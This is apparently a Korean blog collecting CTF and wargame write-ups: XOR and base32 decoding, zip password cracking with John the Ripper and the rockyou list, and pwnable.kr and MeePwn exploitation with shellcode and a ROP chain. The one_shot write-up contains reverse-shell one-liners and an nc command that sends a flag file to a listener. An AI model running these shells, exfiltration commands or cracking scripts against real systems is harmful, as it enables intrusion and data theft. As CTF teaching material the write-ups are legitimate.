분류 전체보기


알수 없는 파일이 하나 주어집니다.

이름이 basic_crypto이고 hex값이 FF값이 많은것으로 보아, 일단 한번 0xFF값과 단일XOR해보았습니다.


1
2
3
4
5
6
7
8
9
10
11
= open("basic_crypto","r")
basic_crypto = f.read()
f.close()
 
basic_decrypt=""
for i in basic_crypto:
        basic_decrypt += chr(ord(i)^0xFF)
 
= open("decrypt_png.png","w")
f.write(basic_decrypt)
f.close()
cs


결과값으로 png파일이 하나 나왓습니다.



내용을 살펴보면 아래와 같습니다.



too low랍니다. 처음에는 뭔가 했는데;

세로 길이가 너무 낮다~라는 건가봅니다.


일단 한번 세로길이를 늘려봣더니 아래와 같이 나와서 깨닫...


먼가 뒤집혀있어서 뒤집어줍시다.



알파벳 대문자 26자와 숫자 조금이 섞여나와있습니다.

이미지라서 보기힘드니 OCR로 txt로 바꿔줬습니다.


ORC


대충 보니 BASE32 디코딩을 통해 풀 수 있을거같아

BASE32 디코딩을 수행하였습니다.



플래그를 찾았습니다!




++ 다른 사람 writeup을 통해 Multisolver라는 괜찮은 웹사이트를 찾았습니다.

한 암호에 대하여 여러가지 암호디코딩을 수행하여 보여줍니다... 굉장..


quipqiup.com와 같이 매우 좋은 툴!






[ISITDTU 2018] Drill Write-up

2018. 7. 30. 16:11


이런 파일이 주어진다. 헥스값을 텍스트로 그대로 옮긴것같다. 다시 헥스값으로해서 넣어주자


1
2
3
4
5
6
7
8
9
= open("drill","r")
drill = f.read()
f.close()
 
print(drill)
 
= open("drill_hex","w")
f.write(drill.decode("hex"))
f.close()
cs


이렇게하면 된다. 조금 더 간단하게 하는 방법으로 $ xxd -r -p drill > drill_hex 를 커맨드로 실행해도 된다.



file로 보면 뭔가 나올 줄 알았는데... 그냥 data라고 합니다.

binwalk로 탐색해보니, zip파일의 끝이 발견되었습니다.



살펴보니 Zip파일의 헤더부분이 빠져있어, 추가해주었습니다. ("\x50\x4B\x03\x04")



압축을 풀려하니 패스워드를 대라길래; John The Ripper을 이용해서 풀어줫습니다.

첫번째 암호는 "brandon1"입니다.


그랬더니 499.zip이 나왔습니다...

예상으로는 499~0까지 zip이 있을거같아, 파이썬으로 자동화시켜 John The Ripper로 풀었더니



237.zip부터는 오류가 뜨면서 풀리지않습니다.

그래서 지금까지 나온 패스워드를 구글에 검색하여 Passwordlist를 얻을 수 잇었고, 이를 이용해서 풀었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import string
from subprocess import Popen, PIPE
 
path = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/"
 
password_list=""
def john(zip):
    global password_list
    cmd = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/zip2john "
    cmd += zip
    cmd += " > zip.hash"
    os.system(cmd)
    
    cmd = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/john -w:passwordlist_ph4.txt zip.hash"
    
    popen = Popen(cmd, shell=True, stdout=PIPE)
    output, error = popen.communicate()
    
    password = (output.split("\n")[1]).split("(")[0].strip()
    password_list += ", "+password
    cmd = "rm /home/sherlock/workstation/crytoTool/JohnTheRipper/run/john.pot"
    os.system(cmd)
    return password
    
cmd = "unzip -P "
password = "brandon1"
 
for i in range(237,0,-1):
    zip = str(i)+".zip"
    password = john(zip)
    os.system(cmd+password+" "+zip)
    #exit(1)
print(password_list)
 
cs


찾아보니 rockyou wordlist라고 패스워드 리스트가 따로 있더군여...

파일용량이 무려 130MB나 합니다.... 다운


아무튼 그렇게해서 마지막 0.zip의 압축을 풀면 아래와 같은 것들을 얻을 수 잇습니다.



key.png는 스테가노그래피로 key가 숨겨져있을 거 같습니다.




확실히! Stegsolve 를 이용해서 Red비트만 추출해보니 모스부호와 비슷한 것이 나왔습니다.


모스부호를 해독하면 "keyisonlyforluckyhunters"가 나오고, 이를 통해 zip압축을 풀고 flag를 얻을 수 잇습니다.



참고:

zsteg를 사용하면 더 간단합니다.


이건 다른 예시~




Zip Crack Password! rockyou

2018. 7. 30. 14:28

rockyou.txt - zip크랙 비밀번호 리스트~


https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

'Crypto' 카테고리의 다른 글

An ECB/CBC Mode and ECB Attack  (0) 2018.08.10
Breaking_XOR_Cipher  (0) 2018.08.03
RSA 공격법  (2) 2018.07.25
xortool 사용하기  (0) 2018.07.03
크립토 공부 사이트  (0) 2018.04.09

[pwnable.kr] memcpy

2018. 7. 27. 16:08

오늘도 pwnable.kr 문제풀이 탐방~~



음... 대체 이 일러들은 누가 그린것인지 의문이 들기 시작했다..



해킹에 지치지않았냐면서 좀 쉬고가라고 한다.

해킹문제가 아니라는데... 과연....?


ssh로 접속해보면 readme라고 있다. 읽어보면 아래와 같다.


memcpy@ubuntu:~$ cat readme

the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.

execute the binary by connecting to daemon(nc 0 9022).



memcpy.c를 real flag과 컴파일해서 memcpy_pwn 권한으로 9022포트에서 실행할 수 있다고 한다.



접속해보니, 간단한 실험만 해주면 플래그를 주겠다고 한다.

해킹이 아니라고 하면서 하라는데;;



입력하라는데로 입력했는데, 5번째에서 죽어버린다;

일단 소스코드를 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>
 
unsigned long long rdtsc(){
        asm("rdtsc");
}
 
char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}
 
char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }
 
    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}
 
int main(void){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Hey, I have a boring assignment for CS class.. :(\n");
    printf("The assignment is simple.\n");
 
    printf("-----------------------------------------------------\n");
    printf("- What is the best implementation of memcpy?        -\n");
    printf("- 1. implement your own slow/fast version of memcpy -\n");
    printf("- 2. compare them with various size of data         -\n");
    printf("- 3. conclude your experiment and submit report     -\n");
    printf("-----------------------------------------------------\n");
 
    printf("This time, just help me out with my experiment and get flag\n");
    printf("No fancy hacking, I promise :D\n");
 
    unsigned long long t1, t2;
    int e;
    char* src;
    char* dest;
    unsigned int low, high;
    unsigned int size;
    // allocate memory
    char* cache1 = mmap(00x40007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
    char* cache2 = mmap(00x40007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
    src = mmap(00x20007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
 
    size_t sizes[10];
    int i=0;
 
    // setup experiment parameters
    for(e=4; e<14; e++){    // 2^13 = 8K
        low = pow(2,e-1);
        high = pow(2,e);
        printf("specify the memcpy amount between %d ~ %d : ", low, high);
        scanf("%d"&size);
        ifsize < low || size > high ){
            printf("don't mess with the experiment.\n");
            exit(0);
        }
        sizes[i++= size;
    }
 
    sleep(1);
    printf("ok, lets run the experiment with your configuration\n");
    sleep(1);
 
    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1size);
        dest = mallocsize );
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }
 
    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}
 
cs


프로그램은 memcpy를 실행하는데, slow_memcpy와 fast_memcpy를 실행하는 시간(cycle)을 측정하여 출력해준다.

이 사이클을 측정하는데 rdtsc라는 어셈블리 명령어를 사용하는데, rdtsc는 Read Time Stamp Counter로 time stamp counter를 읽어내는 명령어이다. 즉 사이클을 측정하는 것인데, 이는 컴퓨터 사이클로 시간과는 조금 다르다.


어쨋든 중요한 부분은 아니고, 원래라면 10번 실행되고 플래그가 출력되야하는데, 5번째에서 죽어버린다.

소스코드가 있으니, 다른 곳에서 컴파일해서 실행해보았다.



5번째에서 slow_memcpy의 결과가 나오고, fast_memcpy가 나오기전에 Segmentation fault가 뜨면서 죽어버렸다.

gdb로 확인해보자.



fast_memcpy의 movntps XMMWORD PTR [edx], xmm0 명령을 수행하는 과정에서 죽어버렸다. 

movntpsmovdqa가 뭐하는 명령인지 몰라서 한번 찾아보았다.


  • MOVDQA

Move Aligned Double Quadword

데이터 전송 명령어로, 128bits의 데이터를 한 번에 xmm 레지스터로 이동하거나, 반대로 xmm레지스터의 데이터를 메모리로 전송하는 처리를 한다.

 This instruction can be used to move a double quadword to and from an XMM register and a 128-bit memory location, or between two XMM registers.

  • MOVNTPS

Store Packed Single-Precision Floating-Point Values Using Non-Temporal Hint

두 번째 오퍼랜드로 입력받은 XMM 레지스터에 있는 float형 데이터 4개를 캐시를 통하지 않고 첫 번째 오퍼랜드로 입력받은 메모리 주소로 복사한다.

The destination operand is a 128-bit memory location.


여기서 중요한 것은 목적지(destination)이 128-bit memory location이여야 한다는 것이다.

여기서 xmm레지스터라는 것을 처음보아서 xmm레지스터가 뭔지 검색을 한번 해보았다.


CPU에서 정보를 처리하기 위해서는 반드시 레지스터라고 하는 CPU내부의 임시 기억장소에 데이터를 적재해야 한다. 일반 범용 레지스터로 EAX, EBX, ECX, EDX 같은 게 있고 특수 용도 레지스터로 ESP, EBP 같은게 있는데 이런 것들이 모두 SISD용 레지스터다. SIMD용으로도 레지스터가 존재하며 여러 데이터를 한번에 처리하기 위해 일반 범용 레지스터보다 용량이 크다. XMM0, XMM1 같은 이름이 붙어있고 CPU가 지원하는 기술이 뭐냐에 따라 이 레지스터도 달라진다. (xmm0~xmm7)


xmm0~xmm7까지 있고, SIMD용 레지스터로 128비트 레지스터이고 연산 시 32비트 정수 네 개의 배열로 간주하고 연산한다.

즉, xmm 레지스터에 메모리를 16바이트씩 한번에 올려서 연산하므로 빠른것이다.


그리고 movntps를 수행하는데 있어, 목적지가 128-bit memory location으로 정렬되어있어야하는데, 여기서는 그게 안되서 죽은것이다.



그러므로 목적지 주소가 모두 128bit(0x10 byte)의 배수가 되도록 맞춰주면 Segmentation fault없이 작동할 것이다.


몇번의 시행착오끝에 플래그를 획득할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
 
= ssh(user='memcpy',host='pwnable.kr',port=2222,password='guest')
conn = s.connect_remote('localhost'9022)
#conn = process("./memcpy")
 
def specify(amount):
    conn.recvuntil("specify the memcpy amount between")
    conn.sendline(amount)
 
conn.recvuntil("No fancy hacking, I promise :D")
 
specify("8")    #1
specify("16")    #2
specify("32")    #3
specify("72")    #4
specify("136")    #5
specify("264")    #6
specify("520")    #7
specify("1032")    #8
specify("2056")    #9
specify("4096")    #10
 
 
conn.interactive()
cs




굿!


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blukat  (0) 2018.08.20
[pwnable.kr] unlink  (0) 2018.08.01
[pwnable.kr] asm  (0) 2018.07.27
[pwnable.kr] leg  (0) 2018.06.08
[pwnable.kr] cmd2  (0) 2018.06.08

[pwnable.kr] asm

2018. 7. 27. 01:32

아주 오랜만에 pwnable.kr 문제를 풀러왔다.




6점짜리라서 다른 것보다 쉬울 줄 알았는데; 쉘코드를 만들어야한다... 이ㄹ..

접속해보면 아래와 같은 것들을 볼 수 있다.



바이너리 파일이 하나 있고, readme랑 this_is~~~하는 파일이 하나 있는데

readme의 내용은 아래와 같다.


once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory) 


nc 0 9026으로 접속하여 asm_pwn의 권한으로 플래그를 읽으라는 것 같다.

asm 바이너리 파일이 9026포트에서 돌아가고 있고, 이 파일은 64bit 바이너리파일이다.



실행해보면 아래와 같이 출력된다.


asm@ubuntu:~$ ./asm 

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode:  


64bit 쉘코드를 작성해야하는 상황이다. 게다가 SECCOMP sandbox에서 작성해야하는데, asm의 코드를 보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
 
cs


먼저 mmap으로 메모리맵을 생성한다. 
mmap함수의 원형은 void * mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 이고, 설명은 아래와 같다.

mmap() 함수는 fd로 지정된 파일(혹은 다른 객체)에서 offset을 시작으로 length바이트 만큼을 start주소로 대응시키도록 한다. start주소는 단지 그 주소를 사용했으면 좋겠다는 정도로 보통 0을 지정한다. mmap는 지정된 영역이 대응된 실제 시작위치를 반환한다. prot인자는 원하는 메모리:::보호모드(:12)를 설정한다. 사용할 수 있는 비트는 다음과 같다.


자세한 내용은 여기서 확인할 수 있다.

mmap함수는 리턴값으로 메모리맵 생성성공시 대응되는 영역의 포인터를 반환하므로, 0x41414000의 영역이 반환될 것이다.

그 후 사용자로 부터 입력을 받고, alarm(10)을 설정후, chroot("/home/asm_pwn");// you are in chroot jail. so you can't use
 symlink in /tmp를 실행하여 jail에 갇히게 된다. 저 함수로 인해, 우리는 /home/asm_pwn 폴더에서 벗어날 수 없게 된다. 이걸 프로세스가 고립됬다고 하는데, 그래서 jail이란 표현을 쓴다고 한다.

그리고 sandbox()함수를 실행하는데, 프로그램을 처음 실행했을  때 설명에도 나오듯, SECCOMP sandbox라고 이 함수로 인해 우리는 open(), read(), write(), exit() 만 쓸수있게 된다. 

SECCOMP은 secure computing mode의 약자로 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다.

system call을 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn을 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL로 프로세스를 종료시킵니다. 즉, 시스템의 자원을 가상화하는 것이 아니라 프로세스를 고립시키는 것이라고 할 수 있습니다. 

출처 : http://nroses-taek.tistory.com/151


그래서 우리는 open(), read(), write(), exit() 만으로 쉘코드를 만들어서 flag를 읽으면 된다. 사실 open(), read(), write()만 있으면 flag를 읽을 수 있다.



다시 문제로 돌아와서 보면 read함수로 사용자로부터 쉘코드를 입력받아 실행하는데, 여기서 stub[]이란 녀석을 우리의 쉘코드앞에 붙여서 실행하게 된다.

이 stub[]이 어떤 코드인지 disassemble해보면 아래와 같다.



그냥 레지스터들을 0으로 초기화해주는 역할을 한다.

그냥 무시하고 쉘코드를 작성해도 된다.


우리는 read, open, write, exit를 쓸 수 있다.

  1. open(flag, 0, 0)   # O_RDONLY=0
  2. read(3, bss, 100)
  3. write(stdout, bss, 100)

위와 같은 쉘코드를 작성하면 될 것 같다.

그래서 처음에 아래와 같은 쉘코드를 작성했으나... Bad system call 이라는 문구와 함께 자구 죽어버렸다 ㅡㅡ;

참고 - 리눅스 64bit syscall table


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
global _start
_start
        jmp go
func:
        mov al, 0x2
        pop rdi
        syscall
 
        push rax
        pop rdi
        mov rsi, 0x41414710
        mov dx, 0x111
        xor rax, rax
        syscall
 
        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall
 
go:
        call func
        db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_lon~~g'
cs



그래서 생각해보니, call func을 실행하면서 이게 죽는거 같은 생각이 들었다..
syscall 뿐만아니라 call도 이걸 막아버리는 것인가;; 싶어서 다시 한번 짜보았다.

이번에는 그냥 _start에서 syscall을 부르고, flag파일의 주소는 0x41414050으로 넣어주었다. (쉘코드 뒤에 파일명을 넣게되면 저 위치에 들어가게 된다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
global _start
_start:
        mov al, 0x2
        mov rdi, 0x41414050
        syscall
 
        push rax
        pop rdi
        mov rsi, 0x41414710
        mov dx, 0x111
        xor rax, rax
        syscall
 
        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall
 
cs

sherlock@ubuntu:~$ nasm -f elf64 shell.asm

sherlock@ubuntu:~$ ld shell.o

sherlock@ubuntu:~$ objcopy -O binary a.out shell.bin

sherlock@ubuntu:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin 


컴파일과 링킹을 마치고, 위와 같이 실행하면 쉘코드를 얻을 수 있다.



이제 asm_pwn의 권한을 얻어 flag를 획득할 수 있다.






찾아보니 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들수 있다고 한다.

관련 문서는 여기에 있다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
 
context(arch='amd64', os='linux')
 
filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
 
shellcode = ""
shellcode += shellcraft.pushstr(filename)
shellcode += shellcraft.open('rsp'0)
shellcode += shellcraft.read('rax''rsp'100)
shellcode += shellcraft.write(1'rsp'100)
 
= ssh(user='asm',host='pwnable.kr',port=2222,password='guest')
conn = s.connect_remote('localhost'9026)
 
conn.recvuntil("give me your x64 shellcode:")
conn.sendline(asm(shellcode))
conn.interactive()
cs



rsp에 파일명을 올리고, rsp에 쓰고, 읽다보니 flag과 파일명이 이어져서 출력되었다.

어쨋든 이렇게도 할 수 있다~


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unlink  (0) 2018.08.01
[pwnable.kr] memcpy  (0) 2018.07.27
[pwnable.kr] leg  (0) 2018.06.08
[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] uaf - 8 pt  (0) 2018.05.31

얼마전 있었던 MeePwnCTF 2018에서 나왔던 one_shot이란 문제이다. CTF 시간이 48시간이였던지라, 여유를 가지고 풀어보려고 잡았으나.. 30시간이 넘게 시간을 투자하였음에도 불구하고 풀지못했다 ㅡㅡ; 끝나고 난 뒤, IRC를 통해 사람들이 리버스쉘을 통해 푸는 문제라고 말한 것을 듣고 충격이 있었으나, 어짜피 리버스쉘을 실행시켜도 내 쪽 서버가 없어서 결국 못푸는 문제였던거 같다.


뭐 그래도, 이렇게 하나 배워가는 것이고, 다음에 비슷한 문제가 나온다면 팀원들 중에 개인서버가 있는 사람한테 부탁해서라도 풀 수 있지않을까 생각한다.


는 무슨 하루종일 리버스쉘만 따려고 별짓을 다했는데 안된다 ㅡㅡ; 아 화난다 진짜;; 아으ㅏㅇ



nc 178.128.87.12 31338

https://ctf.meepwn.team/attachments/pwn/one_shot_7f980ea94c21c4c45b47b126b8678777.tar.gz


문제는 내용은 위와 같다. 현재는 서버가 닫혔으므로, 로컬에서 Exploit을 진행하도록 하겠다. 먼저 어떤 보호기법들이 적용되있는지 살펴보자.



sherlock@ubuntu:~/workstation/2018_CTF/MeePwn/one_shot$ file one_shot one_shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=29266d4ecc4a047f613a525401fbd87650e968ed, stripped


64bit바이너리파일이고, stripped되있다. 일단 잘 모르겠으니 실행해보면 사용자로부터 입력을 받는것 같은데, 입력 후 그냥 종료되어버리는 것을 알 수있다. 정확한 동작을 모르겠으니 IDA를 이용해서 살펴보기로 하였다.



이 프로그램을 실행하면 사용자로부터 0x234만큼의 데이터를 read함수를 통해 받고, close()를 통해 stdinstdoutstderr를 닫아버린다.


처음에는 이 3개를 닫아도 아무 문제없을 것이라 생각했는데... 이 3개가 닫히니 아에 아무것도 할 수가 없게되었다 ㅡㅡ;


stdout이 닫혀있다보니, 출력이 안되므로 leak을 못한다. 그러므로 libc_base주소를 구하는 것도 못하고, 어떻게해서 쉘을 띄운다고 해도 stdin,stdout이 닫혀있으니, 상호작용을 할 수가 없다.


그런데 정작 나는 그것을 고려하지도 않고, "어떻게해서든 쉘만 띄우면 되겠지~"하고 ROP로 execve("/bin/sh", 0, 0)을 실행시켰는데, 안돼서 "왜 쉘이 안띄워지는것이냐!!" 하면서 미쳐버리는줄 알았다... 하;


참고로 CTF 당시에 작성한 payload를 써서 strace로 추적해보면 정상적으로 execve("/bin/sh", 0, 0)가 실행되는 것을 볼 수있는데, 물론 stdin,stdout이 막혀있기때문에 바로 종료되는 것을 볼 수 있다.



그렇기때문에 여기서는 리버스쉘을 사용해서 클라이언트쪽에서 포트를 열어주고, 서버쪽에서 그 포트로 접속하여 flag를 보내게하던지, 아니면 쉘을 띄워주던지해야한다. 그래서 밑의 2가지 방법 등으로 쉘을 띄울수가 있다.


  1. bash의 /dev/tcp를 이용한 방법 (ip:127.0.0.1 port:1234)

/bin/sh >& /dev/tcp/127.0.0.1/1234 0>&1

  1. netcat을 이용한 방법

nc -e /bin/sh 127.0.0.1 1234


문제는 서버쪽에서 저 연결을 유지를 못시켜주는 것 같아서 (stdin, stdout이 닫힌것과 관련있을지도), 결국 또 하루종일 리버스쉘띄우려다가 결국 못띄우고, 명령어 하나씩 실행해서 결과를 서버쪽에 리턴받는 방식으로 하기로 했다.


계획은 이렇다.


  1. 자신의 개인서버에서 netcat으로 포트를 연다.

nc -l -p 1234

  1. execve("/bin/sh", ["/bin/sh","-c", "명령어",0], 0)을 실행하여 원하는 명령을 실행하고, 그 결과를 자신의 서버로 전송하는 payload를 작성해 공격한다.

명령어 : cat /home/sherlock/flag | nc 127.0.0.1 1234

  1. 1~2를 통해 flag의 위치를 알아내고, flag값을 자신의 서버에 전송한다.
  2. flag를 획득한다.

자 그럼 먼저 netcat으로 서버의 포트를 열어주자.



그리고 작성된 python code를 실행하자.



1234 포트를 열어둔 곳으로 가보면, 포트가 닫히고 flag값이 들어와있는 것을 볼 수 있다.


이렇게 문제를 풀 수 있는데, CTF 당시에는 가젯들을 이용해서 "/bin/sh"라는 값을 원하는 장소에 쓰는데 애를 먹었다. CTF가 끝나고 나서 다른 팀의 writeup을 보고 좀 더 깔끔하고 편하게 원하는 값을 복사해서 쓰는 payload가 있길래 참고해서 더 쉽게 exploit하는 법을 적는다.


처음에는 buffer는 의미가 없고, 뒤의 ret만 조작해서 ROP하려했는데, buffer에 입력한 값을 복사해서 재활용할 수 있었다.



위의 코드를 보면 i변수에 v5의 주소를 넣고, buffer의 주소를 증가시키며 그 값을 v5에 v2 byte만큼 복사하는 것을 볼 수 있다. 이를 다시 어셈블리어로 보면 아래와 같다.



rdi가 있는 주소의 1바이트 값을 rsi에 복사하는 것을 볼 수 있다. 이를 반복하는데, eax만큼 반복하게 되어, 결국 eaxbyte만큼 rdi에서 rsi로 복사되게 된다.


이걸 이용해서 buffer에 "/bin/sh" 및 "-c", "nc IP PORT" 등을 쓰면 되고, 그 값을 원하는 주소에 복사하여 exploit에 활용할 수 있다.


#!/usr/bin/env python
from pwn import *

conn = process("./one_shot")

check = 0x8a919ff0

alarm_plt = 0x400520
alarm_got = 0x601020
puts_plt = 0x400510

mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
copy_rdi2rsi = 0x400684 # copies eax bytes from rdi to rsi
						# [rbp-0x20] and [rbp-0x1C] need to be equal (or null)

pop_rbp = 0x00400774 # pop rbp ; ret
pop_rdi = 0x00400843 # pop rdi ; ret  ;  (1 found)
pop_rsi_r15 = 0x400841 # pop rsi ; pop r15 ; ret

len_addr = 0x40070e # contains 0x234
trash_rbp = 0x601100 # random writable addr in a nulled area
copy_buffer_addr = 0x601600 # where our copied buffer will be

cmd = "cat /home/sherlock/flag | nc 127.0.0.1 1234"

### check pass
payload =  p32(check)
# execve("/bin/sh", )
payload += "/bin/sh\x00"
payload += "-c\x00"
payload += cmd
payload += "\x00"*10

#argv_address
argv_addr = copy_buffer_addr + len(payload)-4

# argv = ["/bin/sh", "-c", cmd, 0]
payload += p64(copy_buffer_addr) 	# "/bin/sh"
payload += p64(copy_buffer_addr+8) 	# "-c"
payload += p64(copy_buffer_addr+11) # cmd
payload += p64(0)					# NULL

# execve syscall num
execve_syscall_num_addr = copy_buffer_addr + len(payload)-4
payload += p64(59)
payload += "\x00"*(0x80-len(payload))

# now buffer is end and copy buffer
payload += p64(len_addr+0xc) # [rbp-0xc] is 0x234
payload += p64(mov_eax)  	 # eax = 0x234
payload += p64(0xdeadbeef)   # rbx
payload += p64(trash_rbp)   # rbp

payload += p64(pop_rsi_r15)	 # set rsi to new_buffer_address
payload += p64(copy_buffer_addr)
payload += p64(0xdeadbeef) 	 # r15
payload += p64(copy_rdi2rsi)
payload += p64(0xdeadbeef)  # rbx
payload += p64(trash_rbp)	# rbp

# make alarm call to syscall
# now rax value is 1
payload += p64(pop_rdi)	 # set rdi to (alarm+5) 1byte value   <alarm+5>:	syscall
payload += p64(0x4005e3) # contains byte 0xe5
payload += p64(pop_rsi_r15)	 # set rsi to new_buffer_address
payload += p64(alarm_got)
payload += p64(0xdeadbeef) 	 # r15
payload += p64(copy_rdi2rsi)
payload += p64(0xdeadbeef)  # rbx
payload += p64(trash_rbp)	# rbp

# now alarm call is syscall
# call execve!
payload += p64(pop_rbp)	 
payload += p64(execve_syscall_num_addr + 0xc)
payload += p64(mov_eax)	 # eax = 59
payload += p64(0xdeadbeef)   # rbx
payload += p64(trash_rbp)   # rbp

payload += p64(pop_rbp)	 
payload += p64(execve_syscall_num_addr + 0xc)
payload += p64(mov_eax)	 # eax = 59
payload += p64(0)   # rbx
payload += p64(trash_rbp)   # rbp

pop_r12_15 = 0x40083c   # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
